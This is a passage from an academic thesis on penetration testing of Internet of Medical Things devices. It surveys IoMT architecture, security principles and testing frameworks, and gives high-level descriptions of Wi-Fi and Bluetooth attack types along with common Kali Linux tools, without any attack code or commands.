architecture comprises three distinct layers: perception, network, and application, each playing 
an important role in the operation and functionality of IOMT devices [39]. As shown in Figure 
oa: 
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Perception Layer: 
The perception layer serves as the foundational component of the IoMT architecture, facili- 
tating the collection of vital data through various sensors and devices deployed in healthcare 
settings. This layer encompasses a range of sensor technologies, including RFID, WSN (Wire- 
less Sensor Networks), and RSN (Remote Sensor Networks), each designed to capture specific 
physiological, environmental, or patient-related information [47]. These sensors play a crucial 
role in monitoring patient health, tracking vital signs, and assessing environmental conditions, 
providing valuable insights for healthcare providers to make informed decisions regarding pa- 
tient care. However, despite the importance of sensors in data collection, several challenges 
exist within the perception layer that may impact the reliability and effectiveness of IoMT sys- 
tems. One such challenge is the issue of sensor accuracy and reliability, as sensor measurements 
may be susceptible to errors or inconsistencies due to environmental factors, calibration issues, 
or sensor degradation over time [48]. Additionally, interoperability concerns may arise when 
integrating sensors from different manufacturers or employing heterogeneous sensor networks, 
leading to compatibility issues and data inconsistencies 
Network Layer: 

The network layer within the IoMT architecture facilitates communication and data exchange 
among IoMT devices, healthcare systems, and external networks. Essential hardware compo- 
nents such as gateways, access points, and routers serve as the backbone of the network layer, 
enabling the transmission of data packets using Internet Protocol (IP) and other advanced net- 
working technologies [49]. In healthcare, where the transmission of sensitive and confidential 
data is ubiquitous, ensuring robust network security is imperative. The network layer is piv- 
otal in managing trust, ensuring data integrity, maintaining confidentiality, and implementing 
authentication mechanisms. Security protocols deployed at the network layer are crucial for 
safeguarding IoMT systems against various threats. These protocols are often built upon stan- 
dards such as the IEEE 802.15 family [50]. While Bluetooth Low Energy (BLE) utilized in 
specific scenarios due to its energy efficiency, its limited range makes it less suitable for many 
IoMT applications. Instead, technologies like Wi-Fi and Zigbee are more commonly preferred 
at the network layer for lOMT devices due to their broader coverage and reliability. The net- 


work layer is the foundation for secure and efficient communication among IoMT devices, 
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enabling the seamless exchange of critical healthcare data while protecting patient privacy and 
system integrity. During penetration testing, we will focus heavily on this layer and try to find 
vulnerabilities in medical devices. 
Application Layer: 

At the application layer of the IoMT architecture, the primary responsibility is to process and 
manage data transmitted by loMT devices in a format that end-users or other systems can effec- 
tively utilize. This layer encompasses various protocols and mechanisms for data processing, 
storage, and visualization, allowing healthcare providers to access, analyze, and interpret pa- 
tient data efficiently [51]. Commonly used protocols at the application layer in IOMT include 
COAP, HTTP Restful, and MQTT, which facilitate the exchange of information between de- 
vices and applications. One of the critical functions of the application layer is to visualize data 
for end-users through graphical user interfaces (GUIs) or specialized software applications. 
For example, in the context of IOMT devices such as pacemakers, data regarding vital signs or 
device performance may be transmitted over the network to healthcare providers’ computers 
or mobile devices [52]. Through software applications, healthcare professionals can visualize 
this data in real time, monitor patients’ health status, and make informed decisions regard- 
ing patient care. However, despite the essential role of the application layer in IOMT ecosys- 
tems, challenges exist in ensuring the security and reliability of data processing and visualiza- 
tion mechanisms. Vulnerabilities in software applications or inadequate encryption measures 
could expose sensitive patient data to unauthorized access or manipulation. Furthermore, the 
complexity of IOMT systems and the diversity of data sources pose challenges in developing 
standardized data processing and visualization protocols, leading to interoperability issues and 
potential inconsistencies in patient care [38]. Therefore, while the application layer enables 
critical functionalities in IOMT environments, continuous efforts are needed to address secu- 
rity concerns and improve the efficiency and effectiveness of data processing and visualization 


mechanisms. 


3.2 IoMT Security 


In healthcare IoT, ensuring robust cybersecurity measures is paramount to safeguard patient 


data, maintain system integrity, and uphold the trust of patients and healthcare providers. 
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The interconnected nature of IoT devices in healthcare settings introduces unique challenges 
and vulnerabilities, necessitating the implementation of comprehensive security protocols and 


frameworks [53]. 


3.2.1 Security Fundamentals 


Within this context, several fundamental cybersecurity principles form the cornerstone of ef- 
fective security strategies, encompassing confidentiality, integrity, availability, authentication, 
and encryption. 
Confidentiality: 
Confidentiality within the healthcare IoT landscape is essential for safeguarding sensitive pa- 
tient data from unauthorized access or disclosure. This principle entails restricting access to 
medical records, personal health information, and other sensitive data solely to authorized per- 
sonnel. Breaches of confidentiality not only undermine patient privacy rights but also erode 
trust in healthcare systems and providers. To safeguard confidentiality, encryption technolo- 
gies such as Advanced Encryption Standards (AES) and Rivest-Shamir-Adleman (RSA) are 
employed to transform readable data into encrypted formats, ensuring that information remains 
accessible only to authorized individuals possessing the requisite decryption keys [38]. How- 
ever, challenges persist in maintaining confidentiality across diverse healthcare settings and 
IoT devices, highlighting the need for robust encryption mechanisms and access control poli- 
cies tailored to the intricacies of healthcare IoT environments. 
Integrity: 

The principle of integrity in healthcare loT guides data accuracy throughout its lifecycle. En- 
suring data integrity is crucial, as even minor alterations or unauthorized modifications to med- 
ical information can lead to erroneous diagnoses, treatment plans, and patient outcomes. To 
mitigate the risk of data tampering or manipulation, digital signatures and hash functions are 
employed to verify the authenticity and integrity of data transactions [54]. However, maintain- 
ing data integrity becomes increasingly challenging in dynamic IoT environments characterized 
by the continuous generation, transmission, and processing of extended amounts of data across 
interconnected devices. Therefore, robust data validation, integrity checks, and tamper detec- 


tion mechanisms are essential to preserve the reliability and trustworthiness of healthcare IoT 
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systems. 

Availability: 
Availability is another critical cybersecurity principle in healthcare IoT, ensuring timely and 
uninterrupted access to medical services and resources. Downtime or disruptions in service 
availability can have severe consequences for patient care and safety, particularly in emer- 
gencies where timely access to healthcare services is paramount. Healthcare IoT systems are 
vulnerable to various cyber threats, including (DDoS) attacks, which can overwhelm network 
infrastructure and render services inaccessible to legitimate users [38]. To mitigate the risk 
of availability breaches, redundant systems, failover mechanisms, and distributed architecture 
designs are implemented to ensure continuous service availability, even in the face of cyber- 
attacks or system failures. However, achieving robust availability requires ongoing monitoring, 
resilience testing, and contingency planning to proactively identify vulnerabilities and proac- 
tively address potential points of failure proactively [B8]. 

Authentication: 
Authentication mechanisms play a crucial role in verifying the identities of users and devices 
accessing healthcare IoT systems, preventing unauthorized access, and mitigating the risk of 
data breaches or malicious activities. Traditional password-based authentication methods are 
often supplemented or replaced by biometric measures such as fingerprint or facial recogni- 
tion, offering enhanced security and user convenience. Additionally, multi-factor authentica- 
tion (MFA) techniques are employed to add layers of verification, reducing the risk of unau- 
thorized access even in the event of credential compromise [55]. However, challenges persist 
in implementing effective authentication mechanisms across heterogeneous IoT environments, 
including interoperability issues, scalability concerns, and user acceptance barriers. Therefore, 
adopting standardized authentication protocols and leveraging emerging technologies such as 
blockchain-based identity management systems can enhance the security and reliability of au- 
thentication mechanisms in healthcare IoT contexts. 

Encryption: 
Encryption is a fundamental cybersecurity measure employed to protect sensitive data within 
healthcare IoT systems, preserving its confidentiality and integrity during transmission and 


storage. By encrypting data using cryptographic algorithms and encryption keys, healthcare 
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organizations can mitigate the risk of unauthorized interception, eavesdropping, or tampering 
with sensitive information. However, selecting appropriate encryption algorithms and key man- 
agement strategies is crucial to ensure robust protection against evolving cyber threats and vul- 
nerabilities [56]. Additionally, challenges such as key management complexity, performance 
overhead, and compatibility issues must addressed to achieve seamless integration of encryp- 
tion technologies across diverse healthcare IoT ecosystems. Therefore, continuous research 
and innovation in encryption techniques, coupled with stringent compliance with security stan- 
dards and regulations, are essential to enhance the security posture of healthcare IoT systems 


and mitigate the risk of data breaches and privacy violations. 


3.2.2 Security Concerns 


In the rapidly developing landscape of the IoMT, the intersection of healthcare and technology 
presents unique cybersecurity challenges and vulnerabilities. As OMT devices become increas- 
ingly interconnected and integrated into healthcare systems, ensuring the security and privacy 
of patient data becomes paramount [57]. However, several overarching security concerns loom 
large, posing significant risks to healthcare IoT ecosystems’ confidentiality, integrity, and trust- 
worthiness. 
Data Privacy and Confidentiality: 

One of the primary security concerns in IoMT revolves around the protection of patient data 
privacy and confidentiality. IoMT devices collect and transmit sensitive health information, 
including medical records, diagnostic data, and personal identifiers. Any unauthorized access, 
disclosure, or misuse of this information can have profound implications for patient privacy 
and confidentiality rights. Despite advancements in encryption technologies and access con- 
trols, data breaches and privacy violations remain persistent threats in IOMT environments. 
Adversaries may exploit vulnerabilities in device firmware, network infrastructure, or cloud 
services to gain unauthorized access to sensitive data, undermining patient trust and healthcare 
provider credibility [58]. Moreover, compliance with stringent data protection regulations such 
as (HIPAA) and (GDPR) pose additional challenges for healthcare organizations, requiring ro- 
bust security measures and privacy safeguards to mitigate the risk of regulatory penalties and 


legal liabilities. 
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Data Integrity: 
Ensuring the integrity of medical data is another critical security concern in IoMT, as any 
unauthorized modification or tampering with patient records can lead to incorrect diagnoses, 
treatment errors, and compromised patient safety. Despite implementing digital signatures, 
hash functions, and data validation mechanisms, maintaining data integrity remains a complex 
challenge in dynamic and heterogeneous IoMT environments. Adversaries may exploit vulner- 
abilities in communication protocols, data storage systems, or device firmware to inject mali- 
cious code, alter medical records, or manipulate diagnostic data, leading to erroneous treatment 
decisions and patient harm [59]. Moreover, the proliferation of interconnected IoMT devices 
increases the attack surface. It amplifies the risk of integrity breaches, necessitating proactive 
security measures, continuous monitoring, and detection techniques to effectively identify and 
mitigate unauthorized modifications or data tampering attempts. 
Trust-related Issues: 

Trust-related concerns are pervasive in IOMT ecosystems, encompassing issues related to the 
reliability, authenticity, and accountability of healthcare IoT devices, services, and stakehold- 
ers. Patients and healthcare providers rely on IOMT technologies to deliver accurate diagnos- 
tics, monitor vital signs, and facilitate remote patient monitoring, placing immense trust in the 
integrity and security of these systems. However, trust can be eroded by security incidents, data 
breaches, or privacy violations, leading to patient anxiety, provider skepticism, and reputational 
damage for healthcare organizations [60]. Moreover, trust-related issues extend beyond techni- 
cal vulnerabilities to encompass human factors, organizational culture, and regulatory compli- 
ance. Healthcare professionals must be sufficiently trained and educated on cybersecurity best 
practices, privacy regulations, and ethical considerations to uphold patient trust and confidence 
in IoOMT systems. Additionally, transparent communication, accountability mechanisms, and 
incident response protocols are essential for restoring trust and mitigating the impact of data 


breaches on patient care and healthcare delivery. 


3.3 Penetration Testing 


Penetration testing, often called ethical hacking or pen testing, is a proactive security assess- 


ment method aimed at identifying vulnerabilities and assessing the security posture of infor- 
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mation systems, networks, and applications. It involves simulating real-world cyberattacks 
to evaluate the effectiveness of existing security controls, detect weaknesses, and assess the 
potential impact of security breaches [61]. Penetration testing encompasses a systematic and 
controlled approach to identifying, exploiting, and mitigating security vulnerabilities before 
malicious actors can exploit them for unauthorized access, data exfiltration, or service dis- 
ruption. In the IoMT, penetration testing is crucial in safeguarding the security and integrity of 
medical devices, healthcare systems, and patient data. loMT devices, including wearable health 
monitors and remote patient monitoring systems, are increasingly interconnected and vulner- 
able to cyber threats due to their reliance on wireless communication, cloud connectivity, and 
internet-enabled functionalities [62]. As these devices become integral components of modern 
healthcare delivery, ensuring their security and resilience against cyber threats is paramount to 
protecting patient safety, privacy, and trust. 

Penetration testing helps healthcare organizations and medical device manufacturers identify 
and remediate vulnerabilities in IOMT devices before malicious actors can exploit them. By 
simulating realistic attack scenarios, penetration testers can estimate the efficacy of security 
controls, identify potential entry points for attackers, and evaluate the impact of security breaches 
on patient care and healthcare operations [63]. Moreover, penetration testing enables organiza- 
tions to validate the security measures implemented in IoMT devices, assess their compliance 
with industry regulations and standards, and prioritize remediation measures based on the sever- 
ity and possibility of identified vulnerabilities. Furthermore, penetration testing is a proactive 
measure to enhance the security posture of IOMT devices and healthcare systems in the face of 
developing cyber threats and regulatory requirements. By conducting regular penetration tests, 
healthcare organizations can proactively identify and address security weaknesses, mitigate the 
threat of data breaches and compliance violations, and show due diligence in protecting patient 
information and safety [64]. Additionally, penetration testing helps build trust and confidence 
among patients, healthcare providers, and regulatory authorities by showing a commitment to 


cybersecurity best practices and continuous improvement in security measures. 
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3.3.1 General Overview on Penetration Testing Frameworks 


Penetration testing frameworks provide structured methodologies and guidelines for conduct- 
ing security assessments, identifying vulnerabilities, and assessing the resilience of informa- 
tion systems, networks, and applications. These frameworks offer standardized approaches to 
penetration testing, enabling security professionals to systematically identify and mitigate se- 
curity weaknesses before malicious actors exploit them [65]. In the context of IOMT, where 
the security of medical devices and healthcare systems is paramount, selecting the appropri- 
ate penetration testing framework is crucial to effectively assessing and enhancing the security 


posture of IoMT devices. 


3.3.2 Penetration Testing Standards 


NIST 800-115 provides comprehensive guidance for conducting penetration testing assess- 
ments. While NIST 800-115 offers detailed recommendations for understanding and address- 
ing identified risks, it lacks specific instructions on the execution of penetration testing method- 
ologies [16]. Additionally, the guidance provided may not be tailored specifically for IoT or 
IoMT environments, limiting its applicability to the unique challenges and requirements of se- 
curing medical devices and healthcare systems. PTES (Penetration Testing Execution Stan- 
dard) is an open-source framework developed by security professionals, offering a structured 
approach to penetration testing across various domains. PTES outlines seven phases for con- 
ducting penetration tests. These stages are detailed in Section 5, Figure 5.2 [15]. While PTES 
provides a comprehensive methodology for penetration testing, it may lack specific guidance 
on IoT-specific vulnerabilities and attack vectors relevant to IOMT devices. OSSTMM is an 
open-source guideline for security testing across various domains, including networks, appli- 
cations, and systems. While OSSTMM offers a comprehensive approach to testing, it may lack 
specific instructions for conducting penetration tests in specialized cases such as IoMT envi- 
ronments [17]. Additionally, OSSTMM focuses on security auditing rather than penetration 


testing, which may limit its applicability to assessing the security of lIOMT devices effectively. 
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3.3.3 Security Frameworks 


OWASP offers guidelines for recognizing security risks associated with IoT devices, including 
medical devices. However, OWASP for IoT may lack specific methodologies for conducting 
penetration testing in IoOMT environments [18]. While it provides tools for identifying vulner- 
abilities, it may not offer a comprehensive framework for executing penetration tests tailored 
for medical devices and healthcare systems. I[SF, also known as Industrial Internet of Things 
Volume G4: Security Framework, provides security guidelines tailored specifically for indus- 
trial loT systems, which may include medical devices and healthcare systems. However, IISF 
may lack specific methodologies for conducting penetration testing in IOMT environments [19]. 
While it highlights critical areas requiring attention in IoT security, it may not offer detailed 
instructions for executing penetration tests on medical devices. loTSF offers security-oriented 
guidance for IoT devices, including medical devices and healthcare systems. IoTSF provides 
comprehensive coverage of security challenges and best practices for securing IoT devices. 
However, similar to other frameworks, IoTSF may lack specific methodologies for conducting 
penetration tests in IOMT environments [20]. While it offers valuable insights into IoT security, 
it may not provide detailed instructions for executing penetration tests on medical devices and 


healthcare systems. 
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4 Selection Criteria: A Filtering Approach 


The process of selecting the most suitable penetration testing and security frameworks for as- 
sessing the security of loMT devices involves a systematic filtering approach. This approach 
is essential for identifying frameworks that align with the outstanding requirements and chal- 
lenges of IoMT environments [66]. The selection criteria selected to evaluate the penetration 
testing and security frameworks based on their applicability, specificity, methodology, and fea- 


sibility for implementation in IoMT contexts, see in Figure 4.1. 
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Figure 4.1: Selection Criteria for adopted frameworks 
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Initially, the focus was on determining whether each framework was intended specifically 
for penetration testing, as this criterion is fundamental for assessing its relevance to security 
assessment tasks. This step facilitated the categorization of frameworks based on their primary 
purpose and ensured that only frameworks explicitly designed for penetration testing were con- 
sidered for further evaluation. 

Next, the assessment extended to evaluating whether the frameworks were tailored specifically 
for IoT applications or had broader applicability. Given the distinct characteristics and vulner- 
abilities associated with IoMT devices, frameworks designed to address IoT-specific security 
challenges were prioritized. This criterion aimed to identify frameworks that offer targeted 
guidance and methodologies for assessing the security of medical devices and healthcare sys- 
tems in IoT environments. 

Frameworks lacking sufficient methodology were excluded from consideration due to time 
constraints. The availability of comprehensive and well-defined methodologies is crucial for 
guiding penetration testing activities and ensuring the effectiveness of security assessments in 
IoMT environments. Therefore, frameworks that provided clear and practical methodologies 
for identifying, exploiting, and mitigating security vulnerabilities were favored in the selec- 
tion process. Additionally, a brief overview of each framework was conducted to gauge its 
feasibility for implementation in IOMT environments. This overview considered factors such 
as the comprehensiveness of the framework, the clarity of instructions, and the availability of 
supporting resources. Frameworks that demonstrated practicality and suitability for conduct- 
ing security assessments on medical devices and healthcare systems were prioritized for further 


evaluation. 
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Table 4.1: Framework Comparison Table 
Framework | Penetration | Methodology| IoT Specific | Applicable | Applicable 
Testing for as Security 
Specific penetration | framework 
testing 
NIST v Insufficient x x x 
800-115 
PTES Vv x 
OWASP For x Insufficient v x 
IoT 
OSSTMM Assessment x x x x 
only 
IISF x Insufficient x x 
IoTSF Assessment v v 
only 


In selecting appropriate penetration testing and security frameworks for assessing the secu- 
rity of loMT devices, several factors were considered to ensure the chosen frameworks align 
with the specific requirements and objectives of the research [67]. This section provides a crit- 
ical analysis of the rationale behind selecting the loTSF framework for security assessment. It 
outlines the decision-making process regarding the choice of PTES as the primary penetration 


testing framework for this research. 


4.1 Penetration Testing Framework Consideration 


The initial comparative analysis highlighted the relevance of both NIST 800-115 and PTES 
frameworks to penetration testing activities. However, constraints related to time and the need 
for a unified approach necessitated the selection of a single penetration testing framework. 
The decision-making process focused on evaluating the clarity and comprehensiveness of in- 
structions provided by each framework, ensuring alignment with the research objectives of 


conducting security assessments on IoMT devices. 
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4.2 Clarity and Comprehensiveness of Instructions 

One of the primary considerations in selecting a penetration testing framework is the clarity and 
comprehensiveness of instructions [68]. The chosen framework should provide clear guidance 
on conducting penetration testing activities, including vulnerability identification, exploitation, 
and mitigation. A critical evaluation of NIST 800-115 and PTES revealed that both frameworks 


offer detailed penetration testing methodologies but differ in approach and specificity. 


4.3 NIST 800-115: Strengths and Limitations 
NIST 800-115, developed by the National Institute of Standards and Technology (NIST), of- 


fers comprehensive guidance for conducting penetration testing assessments [16]. The frame- 
work covers various phases of penetration testing, including target vulnerability validation tech- 
niques, target identification, and analysis techniques, security assessment planning, execution, 
and post-testing activities. While NIST 800-115 provides valuable insights into penetration 
testing methodologies, it lacks specific instructions for executing tests in specialized cases, 


such as IoT environments. 


4.4 PTES: Strengths and Limitations 


On the other hand, the Penetration Testing Execution Standard (PTES) is an open-source 
project maintained by security professionals. PTES consists of seven steps outlined for con- 
ducting penetration testing, including "pre-engagement interactions, intelligence gathering, 
threat modeling, vulnerability analysis, exploitation, post-exploitation, and reporting." PTES 
offers a structured approach to penetration testing, emphasizing the importance of thorough 


testing methodologies [15]. 


4.5 Alignment with Research Objectives 

The research objectives were paramount in selecting the penetration testing framework. The 
chosen framework should align closely with the requirements for assessing the security of 
IoMT devices, considering the unique vulnerabilities and challenges present in healthcare IoT 
environments. While both NIST 800-115 and PTES offer valuable methodologies for pen- 


etration testing, the decision ultimately rested on the framework’s suitability for addressing 
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IoT-specific security concerns. 


4.6 Security Framework Selection: loTSF 


In the realm of security frameworks, the loTSF emerged as the preferred choice for assessing 
the security of IOMT devices. IoTSF offers specific guidance and recommendations tailored 
for IoT applications, including medical devices and healthcare systems [52]. Its comprehen- 
sive approach to addressing IoT security challenges, including data privacy, confidentiality, 
integrity, and trust-related issues, makes it well-suited for evaluating the security posture of 


IoMT devices. 


4.7 Feasibility for Implementation 


A critical aspect of framework selection is the feasibility of implementation. The chosen frame- 
works should be practical and feasible to apply in real-world scenarios, considering resource 
availability, expertise, and compatibility with existing systems. IoTSF provides practical guid- 
ance for implementing security measures in IOMT environments, offering actionable recom- 


mendations for securing medical devices and healthcare systems against cyber threats. 


4.8 Integrated Approach for Security Assessment 


Following the filtration process, the integrated approach involves applying the selected security 
standard, IoTSF, to assess the security of IOMT devices. Subsequently, the chosen penetration 
testing framework, PTES, will be employed to identify potential vulnerabilities and assess the 
devices’ resilience against cyber threats. This integrated approach ensures a comprehensive 
and systematic evaluation of the security posture of IoMT devices, ultimately enhancing their 


resilience and mitigating risks associated with cyber-attacks. 
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5 Research Project Implementation 


The implementation phase of this research project meticulously examines and addresses the 
primary threat vectors impacting IoMT devices through a comprehensive approach, leveraging 
penetration testing frameworks and tailored security strategies to enhance the resilience and 


security of these critical healthcare technologies . 


5.1 Overview of the Implementation Approach 


This section explains the methodologies and strategies used to identify and test the primary 


threat vectors on mimic IoMT devices. This section also focuses on the research questions. 


5.1.1 Identifying Primary Threat Vectors 


The initial phase of implementation entails a comprehensive analysis aimed at identifying the 
principal threat vectors impacting IOMT devices. These vectors encapsulate potential risks, 
including device tampering and network-based attacks. To facilitate the identification of these 
threat vectors and achieve optimal outcomes, the penetration testing framework PTES, which 
was selected through a meticulous filtration process, will be utilized. 

A step-by-step abstract approach flowchart for NIST is illustrated in Figure 5.1, providing a 
structured visualization of the methodology. Additionally, Figure 5.2 presents the detailed 


attack phase for PTES, offering further insights into the penetration testing process. 
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Figure 5.1: NIST 800-115 Attack Phase 
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Figure 5.2: Seven stages of Penetration Testing Execution Standard (PTES) 
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5.1.2 Threat Landscape Analysis 


Internet of Things (IoT) devices have revolutionized healthcare delivery, offering rapid medical 
services and enhancing patient care through devices connected to the Internet or Bluetooth. 
These IoMT devices hold sensitive information and are pivotal in monitoring health statuses. 
Consequently, addressing the primary research question, "What are the primary threat vectors 
impacting the security of the Internet of Medical Things (loMT)?" necessitates a thorough 
analysis of the threat landscape. This analysis commences with an exhaustive review of existing 
literature and studies on the prevalent threats facing IoMT, including unauthorized access, data 
breaches, and network attacks [14]. These threats underscore the myriad of attacks that IMT 
devices are vulnerable to, which can be exploited through hacking, thereby posing a grave risk 


to patient privacy and safety. 


5.1.3 Vulnerability Assessment 


The next step involves checking security vulnerabilities and performing penetration tests on 
mimic IoMT devices. Penetration testing framework PTES will be used since it alligns with 
the objectives of this research and it is designed specifically for loT contexts. Also, lOMT 


devices often need more data encryption and stronger user authentication [69]. 


5.1.4 Threat Vector Prioritization 


Given the large number of potential vulnerabilities of loT devices, understanding the threat 
vectors is essential to reduce the effectiveness of these risks. Understanding that these carri- 
ers are a threat can happen and must prioritized to mitigate threats and safeguard the lOMT 


infrastructure against the most dangerous vulnerabilities. 


5.2 Network Layer Attacks 

Our focus is on network layer attacks because they pose a significant threat. However, data 
and physical layer attacks are also carried out if possible. Exploiting vulnerabilities in OMT 
devices risks the privacy and safety of the patient and the confidentiality and availability of this 


information. This section of the research will focus on different network-layer attacks. 


0 


Linneuniversitetet 


Kalmar Vaxjé 


5.2.1 Internet Exploits 


Internet exploits refer to cyberattacks targeting devices with Wi-Fi connectivity, especially 
those within the IoT ecosystem. These attacks capitalize on vulnerabilities in software and 
connected hardware to compromise system integrity and functionality. Such exploits often 
involve unauthorized access and manipulation of devices, leveraging weaknesses in network 


security to disrupt operations or extract sensitive information. 


5.2.1.1 Packet Sniffing 


Packet sniffing in the IoMT represents a significant challenge for cybersecurity because IoT de- 
vices inherently contain sensitive information and data. The process of packet sniffing involves 
capturing data packets sent over the network [70]. The block diagram illustrated in Figure 5.3 
provides a visual representation of a packet sniffing attack, highlighting the key components 


and stages involved in this process. 
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Figure 5.3: Packet Sniffing Attack 
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5.2.1.2 Denial-of-Service (DoS) 


Denial of Service (DoS) attacks are one of the most severe challenges targeting the availability 
of services in networks, including the Medical Internet of Things. These attacks aim to prevent 
devices from accessing services or transferring sensitive data. This poses a strong security 
challenge, and the reason for this is that the data used in the IOMT promptly is essential. An 
example is setting an alarm to wake a patient to take medication. Thus, preventing IJOMT 
devices from sending data at the right time can pose a real threat if sending data is a task that 
could lead to disaster in the health status of the disease [72]. The block diagram illustrated 
in Figure 5.4 provides a visual representation of a DOS attack, highlighting the key components 


and stages involved in this process. 
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Figure 5.4: Denial-of-Service Attack 
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5.2.1.3 Man-in-the-Middle (MitM) 


Owing to the escalating reliance of IoMT devices on Internet connectivity, coupled with the 
privatization of wireless networks such as Wi-Fi and Bluetooth, Man-In-The-Middle (MitM) 
attacks have become a prevalent threat. These attacks clandestinely intercept communications 
between two parties without their awareness. MitM assaults represent a primary strategy cyber 
attackers employ, who often utilize various tools available in Kali Linux. Among these, the 
Ettercap tool is notably employed to sniff network traffic and execute MitM attacks [73]. The 
block diagram illustrated in Figure 5.5 provides a visual representation of a Man-in-the-Middle 


attack, highlighting the key components and stages involved in this process. 
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Figure 5.5: Man-in-the-Middle Attack 
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5.2.1.4 Packet Dropping Attack 


Packet-dropping attacks occur when an attacker intercepts and discards data packets within a 
network instead of forwarding them to their intended destination. These attacks significantly 
threaten the security of the IoT. They are categorized into two main types: Black Hole Attacks: 
The attacker drops all intercepted packets, causing a complete data loss. Moreover, in Selective 
Forwarding Attacks (SFA), The attacker selectively drops specific packets, allowing others to 
pass through, thereby disrupting the network’s reliability [74]. The block diagram illustrated in 
Figure 5.6 provides a visual representation of a Packet Dropping attack, highlighting the key 


components and stages involved in this process. 
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Figure 5.6: Packet Dropping Attack 
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5.2.1.5 Packet Modification Attack 


Packet Modification Attack in the IoT refers to an attacker’s ability to make unauthorized mod- 
ifications to data during transmission or storage. By intercepting and changing data packets 
during their transmission in the network, this attack can lead to incorrect information access 
and disruption of services [75]. The block diagram illustrated in Figure 5.7 provides a visual 
representation of a Packet Modification Attack, highlighting the key components and stages 


involved in this process. 
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Figure 5.7: Packet Modification Attack 


5.2.1.6 Replay Attack 


This attack carried out through the results of a successful sniffing attack, through which the 
attacker intercepts the communication. Thus, the tasks will get the first key to open the lock 
and, therefore, collect the second key to use in the future. This attack is done through the 
attacker’s guess because the attacker can easily guess the victim’s default credentials from the 


list of credentials available on the internet or by making a brute-force attack on any of the user’s 
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devices like a router [76]. Therefore, this attack violates the authorization requirement. It can 


minimized by using a timestamp, which is part of the techniques to protect the data, namely 


symmetric and asymmetric [77]. The block diagram illustrated in Figure 5.8 provides a visual 


representation of a Replay Attack, highlighting the key components and stages involved in this 


process. 
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Figure 5.8: Replay Attack 


5.2.2 Bluetooth Exploits 


IoMT devices rely heavily on Bluetooth technology, especially BLE, as this communication 


contains significant security gaps that can pose a great danger to medical devices that rely 


on this type of communication. Attackers take advantage of IOMT devices’ dependence on 


Bluetooth technology to carry out attacks, such as attacks exploiting these vulnerabilities [78]. 
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5.2.2.1 Bluetooth Denial-of-Service 


Bluetooth Denial of Service (DoS) is a type of cyber attack specifically targeting Bluetooth- 
enabled devices. The primary aim of this attack is to disrupt the regular operation of electronic 
devices such as smartphones, laptops, and IoT gadgets by severing their connection capabili- 
ties or severely impairing their functionality. Several techniques are employed to execute this 
attack, including flooding, where an attacker overwhelms the device with a deluge of data pack- 
ets, and repeated connection requests, where the attacker bombards the device with continuous 
pairing requests. These methods aim to exhaust the device’s resources, making it unable to 
fulfill its planned functions or access the network [79]. The block diagram illustrated in Figure 
5.9 provides a visual representation of a Bluetooth Denial-of-Service Attack, highlighting the 


key components and stages involved in this process. 
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Figure 5.9: BDOS Attack 
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5.2.2.2 Downgrade Attack 


IoMT devices that use Bluetooth Low-Energy (BLE) have vulnerabilities that can be exploited 
and affect the confidentiality and safety of communications. These attacks exploit security 
flaws in IoOMT devices and force them to use security protocols and outdated versions. They 
also force them to use weak encryption, which makes these devices vulnerable to attacks and, 
therefore, vulnerable to data interception. The attacker can change the Bluetooth Session Keys, 
which keeps the Bluetooth security guarantees, and an attacker can decrypt all encrypted texts. 
Downgrade attacks do not require access to victims ” devices and are effective regardless of 
the connection’s security [80]. The block diagram illustrated in Figure 5.10 provides a visual 
representation of a Downgrade Attack, highlighting the key components and stages involved in 


this process. 
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Figure 5.10: Downgrade Attack 
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5.2.2.3 Battery Drain Attack 


As discussed in the Bluetooth Exploits section, medical devices are highly dependent on BLE, 
which is considered a security concern and a significant security threat. The battery drain attack 
depends on draining the battery life [81]. Therefore, this attack focuses on the device going out 
of service or transferring to offline mode, consequently threatening the patient’s life. The block 
diagram illustrated in Figure 5.1] provides a visual representation of a Battery Drain Attack, 


highlighting the key components and stages involved in this process. 
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Figure 5.11: Battery Drain Attack 
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5.2.2.4 BLE Sniffing Attack 


BLE Sniffing In IoMT devices, the use of Bluetooth-enabled devices and its effects on security 
and privacy, experiments have shown that using tools like Ubertooth One in the sniffing process 
shows 80 percent more accuracy in detecting connections and the ability to track them [82]. 
Therefore, this is one of the challenges facing medical IoT devices, which is a significant 
weakness. The block diagram illustrated in Figure 5.12 provides a visual representation of 
a Bluetooth LE Sniffing Attack, highlighting the key components and stages involved in this 


process. 
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Figure 5.12: Sniffing Attack 
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5.2.2.5 Fuzzing Attack 


BLE Fuzzing is an attack targeting devices that use Bluetooth technology and send incorrect or 
random data, the goal of which is to detect weak points in the connection [83]. Furthermore, 
Fuzzing also aims to make the system react to the amount of confused and unexpected data 
and push the system beyond its limits, which may lead to a malfunction in the device or even 
a malfunction in the behavior. This attack could be done by using a tool such as Ubertooth 
One to capture and analyze Bluetooth data traffic. The block diagram illustrated in Figure 5.13 
provides a visual representation of a Fuzzing Attack, highlighting the key components and 


stages involved in this process. 
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Figure 5.13: Fuzzing Attack 
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5.3 Software Tools 


This section highlights the tools that have been used throughout the research. 


5.3.1 Kali Linux 


Kali Linux is an open-source and free dedicated platform for collecting digital evidence and 
doing penetration tests. Kali Linux offers tools that help the user conduct penetration tests and 


perform simulated attacks to identify vulnerabilities [84]. 


5.3.1.1 Libraries 


Tools like Wireshark is an essential tool for analyzing network protocols. It is also widely 
used and allows users to analyze network traffic. Bettercap It is a powerful tool that allows 
the user to perform many attacks against the network, such as man in the middle attack, and it 
provides a practical and robust framework for testing attacks. Nmap, this tool holds significant 
importance and enjoys widespread usage, particularly in penetration testing and network secu- 
rity. It offers users many features, such as service and operating system discovery, enhancing 
their capabilities in these domains. There are a lot of tools in Kali Linux that help with penetra- 
tion testing for Bluetooth connections, including Hcitool It is a tool for configuring a Bluetooth 
connection and sends some commands to Bluetooth devices. This tool offers the ability to scan 
for devices, GATTtool is a tool designed to manage BLE devices, enabling the user to write 
or even read the characteristics of the devices. BlueZ provides flexibility and efficiency and al- 
lows users to manage Bluetooth operations. Aside from the tools already mentioned, additional 
tools used for Bluetooth penetration testing can be seen on Table 5.1. Further Wi-fi tools can 


be observed on Table 5.2. 
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Table 5.1: Leveraged BLE interaction libraries 
Tool Name Description | Purpose in Type of System License 
project tests Compatibil- 
ity 
Ubertooth Open-source | Bluetooth Sniffing Linux, Open-source 
Bluetooth vulnerabili- macOS 
monitoring ties 
tool 
Scapy Packet ma- Network Packet Windows, Open-source 
nipulation traffic crafting Linux, 
tool analysis macOS 
Blueranger Estimates Assessing Proximity Linux Open-source 
distance to device testing 
Bluetooth proximity 
devices 
